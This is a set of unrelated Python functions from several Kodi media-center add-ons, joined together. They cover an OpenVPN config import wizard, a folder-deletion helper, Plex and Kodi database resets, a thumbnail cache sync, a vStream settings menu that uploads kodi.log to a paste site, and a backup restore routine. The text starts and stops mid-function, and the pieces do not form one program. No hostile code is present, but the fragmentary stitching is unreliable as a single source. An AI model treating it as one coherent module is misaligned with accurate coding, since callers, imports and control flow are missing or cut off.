1 keypass = True i += 1 # Do some tag counting to determine authentication methods to use if not line.startswith("#"): for mod in mods: flag, verb, parms = mod.split(",") if flag == "1" and line.startswith( verb) and parms in line: flags[0] = True if flag == "3" and line.startswith(verb): flags[2] = True if flag == "4" and line.startswith(verb): line = verb + " " + parms if flag == "5" and not flags[ 4] and verb in line: detail.append(" WARNING, " + parms + "\n") flags[4] = True if line.startswith("auth-user-pass"): auth_count += 1 if not auth: line = "auth-user-pass #PATH" + getSeparatorOutput( ) + "pass.txt" if line.startswith("cert "): cert_count += 1 if not last_cert_found == old_line: if not last_cert_found == "": multiple_certs = True last_cert_found = old_line if line.startswith("key "): key_count += 1 if not last_key_found == old_line: if not last_key_found == "": multiple_keys = True last_key_found = old_line if line.startswith("askpass"): key_pass_count += 1 if not keypass: line = "askpass #PATH" + getSeparatorOutput( ) + "key.txt" if line.startswith("proto "): if "tcp" in (line.lower()): proto = "TCP" if line.startswith("<cert>"): ecert_count += 1 if line.startswith("<key>"): ekey_count += 1 if not flags[2]: dest_file.write(line + "\n") flags[2] = False for mod in mods: flag, verb, parms = mod.split(",") if flag == "2": dest_file.write(verb + "\n") dest_file.close() flags[4] = False if flags[0]: if xbmcvfs.exists(dest_name): xbmcvfs.delete(dest_name) detail.append( " wARNING, couldn't import file as it contains errors or is unsupported\n" ) elif rename: proto = " (" + proto + ").ovpn" new_name = dest_name.replace(".ovpn", proto) if not xbmcvfs.exists(new_name): xbmcvfs.rename(dest_name, new_name) detail.append(" Renamed to " + new_name + "\n") else: detail.append( " WARNING, couldn't rename file to " + new_name + " as a file with that name already exists\n" ) if progress.iscanceled(): cancel = True break except Exception as e: errorTrace("import.py", "Failed to copy (or update) file") errorTrace("import.py", str(e)) success = False errorMessage = "Failed to copy (or update) selected files. Check the log." progress_message = "Outputting results of import wizard" progress.update(100, progress_title, progress_message) xbmc.sleep(500) # General import results summary.append("\n=== Summary of import ===\n\n") if cancel: summary.append("Import was cancelled\n") else: summary.append("Imported " + str(len(ovpn_files)) + " .ovpn files and " + str(len(other_files)) + " other files.\n") summary.append( "\nYou should understand any WARNINGs below, and validate that the .ovpn files imported have been updated correctly.\n\n" ) summary.append( "If the VPN connection fails view the VPN log to determine why, using Google to understand the errors if necessary.\n" ) summary.append( "You can fix problems either by editing your local files and re-importing, or by editing the contents of the User Defined directory.\n\n" ) if update: # Report on how user names and passwords will be handled if auth_count > 0: if auth_found > 0: # Not using a password as resolved by file addon.setSetting("user_def_credentials", "false") summary.append( "The auth-user-pass tag was found " + str(auth_count) + " times, but was resolved using a supplied file so user name and password don't need to be entered.\n" ) if not auth_found == auth_count: summary.append( " WARNING : The auth-user-pass tag was found " + str(auth_count) + " times, but only resolved using a supplied file " + str(auth_found) + " times. Some connections may not work.\n") else: # Using a password as auth-user-pass tag was found addon.setSetting("user_def_credentials", "true") summary.append( "The auth-user-pass tag was found " + str(auth_count) + " times so assuming user name and password authentication is used.\n" ) if auth_count < len(ovpn_files): summary.append( " WARNING : The auth-user-pass tag was only found in " + str(auth_count) + " .ovpn files, out of " + str(len(ovpn_files)) + ". Some connections may not work.\n") else: # Not using a password as no auth-user-pass tag was found addon.setSetting("user_def_credentials", "false") summary.append( "No auth-user-pass tag was found, so assuming user name and password is not needed.\n" ) # Report on how keys and certs will be handled if (cert_count > 0 or key_count > 0): summary.append("The key tag was found " + str(key_count) + " times, and the cert tag was found " + str(cert_count) + " times.\n") if cert_found > 0 or key_found > 0: # Key and cert resolved by file so not asking user for them addon.setSetting("user_def_keys", "None") summary.append( "The key and certificate don't need to be requested as the key tags were resolved using a supplied file " + str(key_found) + " times, and the cert tags were resolved using a supplied file " + str(cert_found) + " times.\n") if (not cert_found == cert_count) or (not key_found == key_count): summary.append( " WARNING : The key or cert tags were not resolved by a supplied file for all occurrences. Some connections may not work.\n" ) else: if multiple_certs or multiple_keys: # Key and cert tags found with different file names, but no files supplied. Assume multiple files, user supplied addon.setSetting("user_def_keys", "Multiple") summary.append( "Found key and cert tags with multiple filenames, but no key or certificate files were supplied. These will be requested during connection.\n" ) else: # Key and cert tags found with same file names, but no files supplied. Assume single file, user supplied addon.setSetting("user_def_keys", "Single") summary.append( "Found key and cert tags all with the same filename, but no key or certificate files were supplied. These will be requested during connection.\n" ) if cert_count < len(ovpn_files) or key_count < len( ovpn_files): summary.append( " WARNING : The key tag was found " + str(key_count) + " times, and the cert tag was found " + str(cert_count) + " times. Expected to find one of each in all " + str(len(ovpn_files)) + " .ovpn files. Some connections may not work.\n") else: # Embedded key and certs found, so not asking user for them addon.setSetting("user_def_keys", "None") if (ekey_count > 0 or ecert_count > 0): if ekey_count == ecert_count and key_count == len( ovpn_files): summary.append( "Using embedded user keys and certificates so keys and certs don't need to be entered.\n" ) else: summary.append( " WARNING : Using embedded user keys and certificates, but found " + str(ekey_count) + " keys and " + str(ecert_count) + " certificates in " + str(len(ovpn_files)) + " .ovpn files. There should be one of each in all .ovpn files otherwise some connections may not work.\n" ) else: summary.append( "No user key or cert tags were found so assuming this type of authentication is not used.\n" ) # Report on how key passwords will be handled if key_pass_count > 0: if key_pass_found > 0: # Not using a password as resolved by file addon.setSetting("user_def_key_password", "false") summary.append( "The askpass tag was found " + str(auth_count) + " times, but was resolved using a supplied file so the key password doesn't need to be entered.\n" ) if not key_pass_found == key_pass_count: summary.append( " WARNING : The askpass tag was found " + str(key_pass_count) + " times, but only resolved using a supplied file " + str(key_pass_found) + " times. Some connections may not work.\n") else: # Using a password as auth-user-pass tag was found addon.setSetting("user_def_key_password", "true") summary.append( "The askpass tag was found " + str(key_pass_count) + " times so assuming key password authentication is used.\n" ) if key_pass_count < len(ovpn_files): summary.append( " WARNING : The askpass tag was only found in " + str(key_pass_count) + " .ovpn files, out of " + str(len(ovpn_files)) + ". Some connections may not work, or you may be asked to enter a password when it's not necessary.\n" ) else: # Not using a password as no askpass tag was found addon.setSetting("user_def_key_password", "false") summary.append( "No askpass tag was found, so assuming key password is not needed.\n" ) # Report how many times each of the non .ovpn files were used i = 0 for oname in other_files: summary.append("File " + oname + " was found and used in .ovpn files " + str(other_files_count[i]) + " times.\n") if not other_files_count[i] == len(ovpn_files): if other_files_count[i] == 0: summary.append( " WARNING : " + oname + " was not used to update any .ovpn files and could be unused.\n" ) else: summary.append( " WARNING : The number of updates for " + oname + " was different to the number of .ovpn files, " + str(len(ovpn_files)) + ", which could be a problem.\n") i += 1 else: summary.append( "None of the files were updated during import.\n") # Open a log file so all changes can be recorded without fouling up the kodi log log_name = getImportLogPath() if xbmcvfs.exists(log_name): xbmcvfs.delete(log_name) log_file = open(log_name, 'w') for line in summary: log_file.write(line) for line in detail: log_file.write(line) log_file.close() progress.close() xbmc.sleep(100) if success: if xbmcgui.Dialog().yesno( addon_name, "Import wizard finished. You should view the import log to review any issues, enter your user ID and password (if necessary) and then try and validate a VPN connection.", "", "", "OK", "Import Log"): popupImportLog() else: xbmcgui.Dialog().ok(addon_name, errorMessage) return success
def Delete_Folders(filepath='', ignore=[]): """ Completely delete a folder and all it's sub-folders. With the ability to add an ignore list for any folders/files you don't want removed. CODE: Delete_Folders(filepath, [ignore]) AVAILABLE PARAMS: (*) filepath - Use the physical path you want to remove, this must be converted to the physical path and will not work with special:// ignore - A list of paths you want to ignore. These need to be sent through as physical paths so just use koding.Physical_Path() when creating your list and these can be folder paths or filepaths. WARNING: This is an extremely powerful and dangerous tool! If you wipe important system files from your system by putting in the wrong path then I'm afraid that's your own stupid fault! A check has been put in place so you can't accidentally wipe the whole root. EXAMPLE CODE: delete_path = koding.Physical_Path('special://profile/py_koding_test') # Create new test directory to remove if not os.path.exists(delete_path): os.makedirs(delete_path) # Fill it with some dummy files file1 = os.path.join(delete_path,'file1.txt') file2 = os.path.join(delete_path,'file2.txt') file3 = os.path.join(delete_path,'file3.txt') koding.Dummy_File(dst=file1, size=10, size_format='kb') koding.Dummy_File(dst=file2, size=10, size_format='kb') koding.Dummy_File(dst=file3, size=10, size_format='kb') dialog.ok('TEST FILE CREATED','If you look in your userdata folder you should now see a new test folder containing 3 dummy files. The folder name is \'py_koding_test\'.') if dialog.yesno('[COLOR gold]DELETE FOLDER[/COLOR]','Everything except file1.txt will now be removed from:', '/userdata/py_koding_test/','Do you want to continue?'): koding.Delete_Folders(filepath=delete_path, ignore=[file1]) dialog.ok('DELETE LEFTOVERS','When you press OK we will delete the whole temporary folder we created including it\'s contents') koding.Delete_Folders(filepath=delete_path) ~""" exclude_list = ['','/','\\','C:/','storage'] # Check you're not trying to wipe root! if filepath in exclude_list: dialog.ok('FILEPATH REQUIRED','You\'ve attempted to remove files but forgot to pass through a valid filepath. Luckily this failsafe check is in place or you could have wiped your whole system!') # If there's some ignore files we run through deleting everything but those files elif len(ignore) > 0: for root, dirs, files in os.walk(filepath, topdown=False): cont = True if not root in ignore: for item in ignore: if item in root: cont=False break if cont: for file in files: file_path = os.path.join(root,file) if file_path not in ignore: try: xbmcvfs.delete(file_path) except: xbmc.log('Failed to delete: %s'%file_path,2) if len(os.listdir(root)) == 0: try: xbmcvfs.rmdir(root) except: pass # If a simple complete wipe of a directory and all sub-directories is required we use this elif os.path.exists(filepath): shutil.rmtree(filepath, ignore_errors=True)
def reset(): dialog = xbmcgui.Dialog() if dialog.yesno( "Warning", "Are you sure you want to reset your local Kodi database?") == 0: return # first stop any db sync window('plex_shouldStop', value="true") count = 10 while window('plex_dbScan') == "true": log.debug("Sync is running, will retry: %s..." % count) count -= 1 if count == 0: dialog.ok("Warning", "Could not stop the database from running. Try again.") return xbmc.sleep(1000) # Clean up the playlists deletePlaylists() # Clean up the video nodes deleteNodes() # Wipe the kodi databases log.info("Resetting the Kodi video database.") connection = kodiSQL('video') cursor = connection.cursor() cursor.execute('SELECT tbl_name FROM sqlite_master WHERE type="table"') rows = cursor.fetchall() for row in rows: tablename = row[0] if tablename != "version": cursor.execute("DELETE FROM " + tablename) connection.commit() cursor.close() if settings('enableMusic') == "true": log.info("Resetting the Kodi music database.") connection = kodiSQL('music') cursor = connection.cursor() cursor.execute('SELECT tbl_name FROM sqlite_master WHERE type="table"') rows = cursor.fetchall() for row in rows: tablename = row[0] if tablename != "version": cursor.execute("DELETE FROM " + tablename) connection.commit() cursor.close() # Wipe the Plex database log.info("Resetting the Plex database.") connection = kodiSQL('plex') cursor = connection.cursor() cursor.execute('SELECT tbl_name FROM sqlite_master WHERE type="table"') rows = cursor.fetchall() for row in rows: tablename = row[0] if tablename != "version": cursor.execute("DELETE FROM " + tablename) cursor.execute('DROP table IF EXISTS plex') cursor.execute('DROP table IF EXISTS view') connection.commit() cursor.close() # Offer to wipe cached thumbnails resp = dialog.yesno("Warning", "Remove all cached artwork?") if resp: log.info("Resetting all cached artwork.") # Remove all existing textures first path = tryDecode(xbmc.translatePath("special://thumbnails/")) if xbmcvfs.exists(path): allDirs, allFiles = xbmcvfs.listdir(path) for dir in allDirs: allDirs, allFiles = xbmcvfs.listdir(path + dir) for file in allFiles: if os_path.supports_unicode_filenames: xbmcvfs.delete( os_path.join(path + tryDecode(dir), tryDecode(file))) else: xbmcvfs.delete( os_path.join(tryEncode(path) + dir, file)) # remove all existing data from texture DB connection = kodiSQL('texture') cursor = connection.cursor() cursor.execute('SELECT tbl_name FROM sqlite_master WHERE type="table"') rows = cursor.fetchall() for row in rows: tableName = row[0] if (tableName != "version"): cursor.execute("DELETE FROM " + tableName) connection.commit() cursor.close() # reset the install run flag settings('SyncInstallRunDone', value="false") # Remove emby info resp = dialog.yesno("Warning", "Reset all Plex KodiConnect Addon settings?") if resp: # Delete the settings addon = xbmcaddon.Addon() addondir = tryDecode(xbmc.translatePath(addon.getAddonInfo('profile'))) dataPath = "%ssettings.xml" % addondir xbmcvfs.delete(tryEncode(dataPath)) log.info("Deleting: settings.xml") dialog.ok( heading=language(29999), line1= "Database reset has completed, Kodi will now restart to apply the changes." ) xbmc.executebuiltin('RestartApp')
def FullTextureCacheSync(self): # This method will sync all Kodi artwork to textures13.db # and cache them locally. This takes diskspace! import xbmcaddon string = xbmcaddon.Addon().getLocalizedString if not xbmcgui.Dialog().yesno("Image Texture Cache", string(39250)): return self.logMsg("Doing Image Cache Sync", 1) dialog = xbmcgui.DialogProgress() dialog.create("PlexKodiConnect", "Image Cache Sync") # ask to rest all existing or not if xbmcgui.Dialog().yesno("Image Texture Cache", string(39251), ""): self.logMsg("Resetting all cache data first", 1) # Remove all existing textures first path = utils.tryDecode(xbmc.translatePath("special://thumbnails/")) if utils.IfExists(path): allDirs, allFiles = xbmcvfs.listdir(path) for dir in allDirs: allDirs, allFiles = xbmcvfs.listdir(path + dir) for file in allFiles: if os.path.supports_unicode_filenames: xbmcvfs.delete( os.path.join(path + utils.tryDecode(dir), utils.tryDecode(file))) else: xbmcvfs.delete( os.path.join( utils.tryEncode(path) + dir, file)) # remove all existing data from texture DB textureconnection = utils.kodiSQL('texture') texturecursor = textureconnection.cursor() texturecursor.execute( 'SELECT tbl_name FROM sqlite_master WHERE type="table"') rows = texturecursor.fetchall() for row in rows: tableName = row[0] if (tableName != "version"): texturecursor.execute("DELETE FROM " + tableName) textureconnection.commit() texturecursor.close() # Cache all entries in video DB connection = utils.kodiSQL('video') cursor = connection.cursor() cursor.execute("SELECT url FROM art WHERE media_type != 'actor'" ) # dont include actors result = cursor.fetchall() total = len(result) count = 1 percentage = 0 self.logMsg( "Image cache sync about to process " + str(total) + " images", 1) for url in result: if dialog.iscanceled(): break percentage = int((float(count) / float(total)) * 100) textMessage = str(count) + " of " + str(total) + " (" + str( len(self.imageCacheThreads)) + ")" dialog.update(percentage, "Updating Image Cache: " + textMessage) self.CacheTexture(url[0]) count += 1 cursor.close() # Cache all entries in music DB connection = utils.kodiSQL('music') cursor = connection.cursor() cursor.execute("SELECT url FROM art") result = cursor.fetchall() total = len(result) count = 1 percentage = 0 self.logMsg( "Image cache sync about to process " + str(total) + " images", 1) for url in result: if dialog.iscanceled(): break percentage = int((float(count) / float(total)) * 100) textMessage = str(count) + " of " + str(total) dialog.update(percentage, "Updating Image Cache: " + textMessage) self.CacheTexture(url[0]) count += 1 cursor.close() dialog.update( 100, "Waiting for all threads to exit: " + str(len(self.imageCacheThreads))) self.logMsg("Waiting for all threads to exit", 1) while len(self.imageCacheThreads) > 0: for thread in self.imageCacheThreads: if thread.isFinished: self.imageCacheThreads.remove(thread) dialog.update( 100, "Waiting for all threads to exit: " + str(len(self.imageCacheThreads))) self.logMsg( "Waiting for all threads to exit: " + str(len(self.imageCacheThreads)), 1) xbmc.sleep(500) dialog.close()
def main(self, env): if (env == 'urlresolver'): addon('script.module.urlresolver').openSettings() return elif (env == 'metahandler'): addon('script.module.metahandler').openSettings() return elif (env == 'changelog_old'): try: sUrl = 'https://raw.githubusercontent.com/Kodi-vStream/venom-xbmc-addons/master/plugin.video.vstream/changelog.txt' oRequest = urllib2.Request(sUrl) oResponse = urllib2.urlopen(oRequest) sContent = oResponse.read() self.TextBoxes('vStream Changelog', sContent) except: self.DIALOG.VSerror("%s,%s" % (self.ADDON.VSlang(30205), sUrl)) return elif (env == 'changelog'): class XMLDialog(xbmcgui.WindowXMLDialog): def __init__(self, *args, **kwargs): xbmcgui.WindowXMLDialog.__init__( self ) pass def onInit(self): self.container = self.getControl(6) self.button = self.getControl(5) self.getControl(3).setVisible(False) self.getControl(1).setLabel('ChangeLog') self.button.setLabel('OK') sUrl = 'https://api.github.com/repos/Kodi-vStream/venom-xbmc-addons/commits' oRequest = urllib2.Request(sUrl) oResponse = urllib2.urlopen(oRequest) sContent = oResponse.read() result = json.loads(sContent) listitems = [] for item in result: #autor icon = item['author']['avatar_url'] login = item['author']['login'] #message try: desc = item['commit']['message'].encode("utf-8") except: desc = 'None' listitem = xbmcgui.ListItem(label = login, label2 = desc) listitem.setArt({'icon' : icon, 'thumb' : icon}) listitems.append(listitem) self.container.addItems(listitems) self.setFocus(self.container) def onClick(self, controlId): self.close() return def onFocus(self, controlId): self.controlId = controlId def _close_dialog( self ): self.close() #path = cConfig().getAddonPath() path = "special://home/addons/plugin.video.vstream" wd = XMLDialog('DialogSelect.xml', path, "Default") wd.doModal() del wd return elif (env == 'soutient'): try: sUrl = 'https://raw.githubusercontent.com/Kodi-vStream/venom-xbmc-addons/master/plugin.video.vstream/soutient.txt' oRequest = urllib2.Request(sUrl) oResponse = urllib2.urlopen(oRequest) sContent = oResponse.read() self.TextBoxes('vStream Soutient', sContent) except: self.DIALOG.VSerror("%s,%s" % (self.ADDON.VSlang(30205), sUrl)) return elif (env == 'addon'): if self.DIALOG.VSyesno("Êtes-vous sûr ?"): #cached_Cache = cConfig().getFileCache() #cached_Cache = xbmc.translatePath(cached_Cache).decode("utf-8") cached_Cache = "special://home/userdata/addon_data/plugin.video.vstream/video_cache.db" #self.ClearDir2(cached_Cache,True) try: xbmcvfs.delete(cached_Cache) self.DIALOG.VSinfo('Clear Addon Cache, Successful[CR](Important relancer vStream)') except: self.DIALOG.VSerror('Clear Addon Cache, Error') return elif (env == 'clean'): liste = ['Historiques', 'Lecture en cours', 'Marqués vues', 'Marque-Pages', 'Téléchargements'] ret = self.DIALOG.select('BDD à supprimer', liste) #cached_DB = cConfig().getFileDB() cached_DB = "special://home/userdata/addon_data/plugin.video.vstream/vstream.db" #important seul xbmcvfs peux lire le special cached_DB = xbmc.translatePath(cached_DB).decode("utf-8") sql_drop = "" if ret > -1: if ret == 0: sql_drop = "DROP TABLE history" elif ret == 1: sql_drop = "DROP TABLE resume" elif ret == 2: sql_drop = "DROP TABLE watched" elif ret == 3: sql_drop = "DROP TABLE favorite" elif ret == 4: sql_drop = "DROP TABLE download" try: db = sqlite.connect(cached_DB) dbcur = db.cursor() dbcur.execute(sql_drop) db.commit() dbcur.close() db.close() self.DIALOG.VSok("Suppression BDD, Successful[CR](Important relancer vStream)") except: self.DIALOG.VSerror("Suppresion BDD, Error") return elif (env == 'xbmc'): if self.DIALOG.VSyesno('Êtes-vous sûr ?'): #temp = xbmc.translatePath('special://temp/').decode("utf-8") path = "special://temp/" #self.ClearDir(temp,True) try: xbmcvfs.rmdir(path, True) self.DIALOG.VSok('Clear Temp Cache, Successful[CR](Important relancer Kodi)') except: self.DIALOG.VSerror('Clear Temp Cache, Error') return elif (env == 'fi'): if self.DIALOG.VSyesno('Êtes-vous sûr ?'): #path = xbmc.translatePath('special://temp/').decode("utf-8") path = "special://temp/archive_cache/" try: xbmcvfs.rmdir(path, True) self.DIALOG.VSok('Clear Archive_cache Cache, Successful[CR](Important relancer Kodi)') except: self.DIALOG.VSerror('Clear Archive_cache Cache, Error') # filenames = next(os.walk(path))[2] # for i in filenames: # if ".fi" in i: # os.remove(os.path.join(path, i)) return elif (env == 'uplog'): if self.DIALOG.VSyesno('Êtes-vous sûr ?'): #path = xbmc.translatePath('special://logpath/').decode("utf-8") path = "special://logpath/kodi.log" UA = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0' headers = { 'User-Agent' : UA } #filenames = next(os.walk(path))[2] #for i in filenames: if xbmcvfs.exists(path): post_data = {} cUrl = 'http://slexy.org/index.php/submit' #logop = open(path + i,'rb') logop = xbmcvfs.File(path, 'rb') result = logop.read() logop.close() post_data['raw_paste'] = result post_data['author'] = 'kodi.log' post_data['language'] = 'text' post_data['permissions'] = 1 #private post_data['expire'] = 259200 #3j post_data['submit'] = 'Submit+Paste' request = urllib2.Request(cUrl,urllib.urlencode(post_data),headers) reponse = urllib2.urlopen(request) code = reponse.geturl().replace('http://slexy.org/view/','') reponse.close() self.ADDON.setSetting('service_log', code) self.DIALOG.VSok('Ce code doit être transmis lorsque vous ouvrez une issue veuillez le noter:' + ' ' + code) return elif (env == 'search'): from resources.lib.handler.pluginHandler import cPluginHandler valid = '[COLOR green][x][/COLOR]' class XMLDialog(xbmcgui.WindowXMLDialog): ADDON = addon() def __init__(self, *args, **kwargs): xbmcgui.WindowXMLDialog.__init__( self ) pass def onInit(self): self.container = self.getControl(6) self.button = self.getControl(5) self.getControl(3).setVisible(False) self.getControl(1).setLabel(self.ADDON.VSlang(30094)) self.button.setLabel('OK') listitems = [] oPluginHandler = cPluginHandler() aPlugins = oPluginHandler.getAllPlugins() for aPlugin in aPlugins: #teste si deja dans le dsip sPluginSettingsName = 'plugin_' +aPlugin[1] bPlugin = self.ADDON.getSetting(sPluginSettingsName) #icon = os.path.join(unicode(cConfig().getRootArt(), 'utf-8'), 'sites', aPlugin[1]+'.png') icon = "special://home/addons/plugin.video.vstream/resources/art/sites/%s.png" % aPlugin[1] stitle = aPlugin[0].replace('[COLOR violet]','').replace('[COLOR orange]','').replace('[/COLOR]','').replace('[COLOR dodgerblue]','').replace('[COLOR coral]','') if (bPlugin == 'true'): stitle = ('%s %s') % (stitle, valid) listitem = xbmcgui.ListItem(label = stitle, label2 = aPlugin[2]) listitem.setArt({'icon' : icon, 'thumb' : icon}) listitem.setProperty('Addon.Summary', aPlugin[2]) listitem.setProperty('sitename', aPlugin[1]) if (bPlugin == 'true'): listitem.select(True) listitems.append(listitem) self.container.addItems(listitems) self.setFocus(self.container) def onClick(self, controlId): if controlId == 5: self.close() return elif controlId == 99: window = xbmcgui.Window(xbmcgui.getCurrentWindowId()) del window self.close() return elif controlId == 7: window = xbmcgui.Window(xbmcgui.getCurrentWindowId()) del window self.close() return elif controlId == 6: item = self.container.getSelectedItem() if item.isSelected() == True: label = item.getLabel().replace(valid,'') item.setLabel(label) item.select(False) sPluginSettingsName = ('plugin_%s') % (item.getProperty('sitename')) self.ADDON.setSetting(sPluginSettingsName, str('false')) else : label = ('%s %s') % (item.getLabel(), valid) item.setLabel(label) item.select(True) sPluginSettingsName = ('plugin_%s') % (item.getProperty('sitename')) self.ADDON.setSetting(sPluginSettingsName, str('true')) return def onFocus(self, controlId): self.controlId = controlId def _close_dialog( self ): self.close() # def onAction( self, action ): # if action.getId() in ( 9, 10, 92, 216, 247, 257, 275, 61467, 61448, ): # self.close() #path = cConfig().getAddonPath() path = "special://home/addons/plugin.video.vstream" wd = XMLDialog('DialogSelect.xml', path, "Default") wd.doModal() del wd return elif (env == 'thumb'): if self.DIALOG.VSyesno('Êtes-vous sûr ? Ceci effacera toutes les thumbnails '): text = False #path = xbmc.translatePath('special://userdata/Thumbnails/').decode("utf-8") path = "special://userdata/Thumbnails/" path_DB = "special://userdata/Database" try: xbmcvfs.rmdir(path, True) text = 'Clear Thumbnail Folder, Successful[CR]' except: text = 'Clear Thumbnail Folder, Error[CR]' #for i in os.listdir(path): # folders = os.path.join(path, i).encode('utf-8') # if os.path.isdir(folders): # p = next(os.walk(folders))[2] # for x in p: # os.remove(os.path.join(folders, x).encode('utf-8')) #filenames = next(os.walk(path2))[2] folder, items = xbmcvfs.listdir(path_DB) items.sort() for sItemName in items: if "extures" in sItemName: cached_Cache = "/".join([path_DB, sItemName]) try: xbmcvfs.delete(cached_Cache) text += 'Clear Thumbnail DB, Successful[CR]' except: text += 'Clear Thumbnail DB, Error[CR]' if text: text = "%s (Important relancer Kodi)" % text self.DIALOG.VSok(text) # for x in filenames: # if "exture" in x: # con = sqlite.connect(os.path.join(path2, x).encode('utf-8')) # cursor = con.cursor() # cursor.execute("DELETE FROM texture") # con.commit() # cursor.close() # con.close() return elif (env == 'sauv'): #dialog.select('Choose a playlist', ['Playlist #1', 'Playlist #2, 'Playlist #3']) select = self.DIALOG.VSselect(['Import','Export']) DB = "special://home/userdata/addon_data/plugin.video.vstream/vstream.db" if select >= 0: #new = self.DIALOG.browse(3, 'vStream', 'files') new = self.DIALOG.browse(3, 'vStream', "files") if new: try: if select == 0: xbmcvfs.delete(DB) #copy(source, destination)--copy file to destination, returns true/false. xbmcvfs.copy(new + 'vstream.db', DB) elif select == 1: #copy(source, destination)--copy file to destination, returns true/false. xbmcvfs.copy(DB, new + 'vstream.db') self.DIALOG.VSinfo('Import/Export DB, Successful') except: self.DIALOG.VSerror('Import/Export DB, Error') return else: return return
def delete(path): """Remove a file (using xbmcvfs)""" return xbmcvfs.delete(path)
def start_restore(self): """ Posts a list of backup files in the location, allows the user to choose one (including browse to a different location, allows the user to choose what to restore, including an ALL option. """ location = self.settings_dict['backup_location'] self.success = 'Full' current_tarballs = self.list_current_tarballs(location) # the first entry on the list dialog dialog_list = [(None, 'Browse for backup file')] # strip the boilerplate from the file and just show the name current_tarballs = [(name, self.strip_name(name, location)) for name in current_tarballs] # sort the list by date stamp (reverse) current_tarballs.sort(key=lambda x: x[1], reverse=True) # join the complete list together dialog_list.extend(current_tarballs) back_to_select = True temp_copy = None while back_to_select: # display the list file_selection = DIALOG.select(self.lang(32154), [x[1] for x in dialog_list]) if file_selection == -1: back_to_select = False continue elif file_selection == 0: # open the browse dialog backup_file = DIALOG.browse(1, self.lang(32155), 'files') log('User selected backup file: %s' % backup_file) if not backup_file: # return to select window log('User has not selected backup file.') continue else: # read the tar_file, post dialog with the contents # get file_selection remote_file = os.path.join(location, dialog_list[file_selection][0]) basename = os.path.basename(remote_file) log('User selected backup file: %s' % remote_file) # this requires copying the tar_file from its stored location, to kodi/temp # xbmcvfs cannot read into tar files without copying the whole thing to memory temp_copy = os.path.join( xbmcvfs.translatePath('special://temp'), basename) result = xbmcvfs.copy(remote_file, temp_copy) if not result: # copy of file failed log('Failed to copy file to special://temp location') _ = DIALOG.ok(self.lang(32145), self.lang(32156)) back_to_select = False continue backup_file = temp_copy # open local copy and check for contents try: with tarfile.open(backup_file, 'r:gz') as t: members = t.getmembers() except Exception as e: log('Opening and reading tarball failed') log(type(e).__name__) log(e.args) log(traceback.format_exc()) _ = DIALOG.ok(self.lang(32145), self.lang(32146)) continue if members: # the first entry on the list dialog, tuple is (member, display name, # name in tarfile, restore location) tar_contents_list = [(None, 'Everything')] # create list of items in the tar_file for the user to select from, # these are prime members; either they are the xml files or they # are the base folder menu_items = [] for k, v in LABELS.items(): for member in members: if k.endswith(member.name) or \ (k.endswith('userdata/autofs') and 'userdata/auto' in member.name): menu_items.append((member, v)) break menu_items.sort(key=lambda x: x[1]) tar_contents_list.extend(menu_items) if len(tar_contents_list) < 2: log('Could not identify contents of backup file') _ = DIALOG.ok(self.lang(32139), self.lang(32157)) continue # at the moment this only allows for a single item to be selected, # however we can build our own dialog that can allow multiple selection, # with the action only taking place on users OK item_selection = DIALOG.select( self.lang(32162), [x[1] for x in tar_contents_list]) if item_selection == -1: continue elif item_selection == 0: log('User has chosen to restore all items') # restore all items restore_items = members else: # restore single item restore_item = tar_contents_list[item_selection] # if the item is a single xml file, then restore that member, # otherwise loop through the file members and collect the ones # in the relevant folder the identification of a single file is # hackish relying upon the presence of .xml, but for the moment # we aren't backing up any other single files if restore_item[0].name.endswith('.xml'): restore_items = [restore_item[0]] log('User has chosen to restore a single item: %s' % restore_item[1]) elif restore_item[1] == 'Mixed - Autofs': log('User is restoring: %s' % restore_item[1]) restore_items = [] for member in members: if 'userdata/auto' in member.name: restore_items.append(member) else: log('User is restoring a folder: %s' % restore_item[1]) restore_items = [] for member in members: if member.name.startswith(restore_item[0].name): restore_items.append(member) # confirm with user that they want to overwrite existing files OR # extract to a different location overwrite = DIALOG.select( self.lang(32110), [self.lang(32163), self.lang(32164)]) if overwrite == -1: log('User has escaped restore dialog') continue if overwrite == 0: # restore over existing files log('User has chosen to overwrite existing files.') restore_location = xbmcvfs.translatePath('special://home') # check the restore_items for guisettings.xml, if found then restore that # to the addon_data folder, create the /RESET_GUISETTINGS file and write # in the location of the restored guisettings.xml change the # restoring_guisettings flag so the user is informed that this change # requires a restart, or will take effect on next boot if any([ True for x in restore_items if x.name.endswith('userdata/guisettings.xml') ]): self.restoring_guisettings = True if any([ True for x in restore_items if x.name.endswith('userdata/fstab') ]): self.restoring_fstab = True elif overwrite == 1: # select new folder log('User has chosen to browse for a new restore location') restore_location = DIALOG.browse(3, self.lang(32165), 'files') else: log('User has escaped restore dialog') continue if restore_location == '': log('User has failed to select a restore location') continue with tarfile.open(backup_file, 'r') as t: for member in restore_items: log('attempting to restore %s to %s' % (member.name, restore_location)) try: # if the item is userdata/guisettings.xml then restore it to /tmp # and rename it the external script will pick it up there and # overwrite the live version if (member.name.endswith( 'userdata/guisettings.xml') and self.restoring_guisettings): member.name = os.path.basename(member.name) t.extract(member, '/tmp/') os.rename('/tmp/guisettings.xml', '/tmp/guisettings.restore') elif member.name.endswith( 'userdata/fstab') and self.restoring_fstab: # restore temp version back to userdata t.extract(member, restore_location) fstab_loc = os.path.join( restore_location, member.name) self.restore_fstab(fstab_loc) elif member.name.endswith( 'userdata/authorized_keys'): # restore temp version back to userdata t.extract(member, restore_location) authorized_keys_loc = os.path.join( restore_location, member.name) self.move_to_restore(authorized_keys_loc, '/home/osmc/.ssh/', sudo=False) elif member.name.endswith( 'userdata/smb-local.conf'): # restore temp version back to userdata t.extract(member, restore_location) samba_local_conf = os.path.join( restore_location, member.name) self.move_to_restore(samba_local_conf, '/etc/samba/', sudo=True) elif 'userdata/.hts/' in member.name: # restore temp version back to userdata t.extract(member, restore_location) tvheadend_loc = os.path.join( restore_location, member.name) self.move_to_restore(tvheadend_loc, '/home/osmc/.hts/', sudo=False) elif 'userdata/auto' in member.name and \ not member.name.endswith('userdata/autofs'): # restore temp version back to userdata t.extract(member, restore_location) autofs_file = os.path.join( restore_location, member.name) self.move_to_restore(autofs_file, '/etc/', sudo=True) else: t.extract(member, restore_location) except Exception as e: log('Extraction of %s failed' % member.name) log(type(e).__name__) log(e.args) log(traceback.format_exc()) if self.success == 'Full': self.success = [] self.success.append(member.name) continue if self.success == 'Full' and not self.restoring_guisettings: _ = DIALOG.ok(self.lang(32110), self.lang(32158)) elif self.success == 'Full' and self.restoring_guisettings: back_to_select = False else: back_to_select = False try: 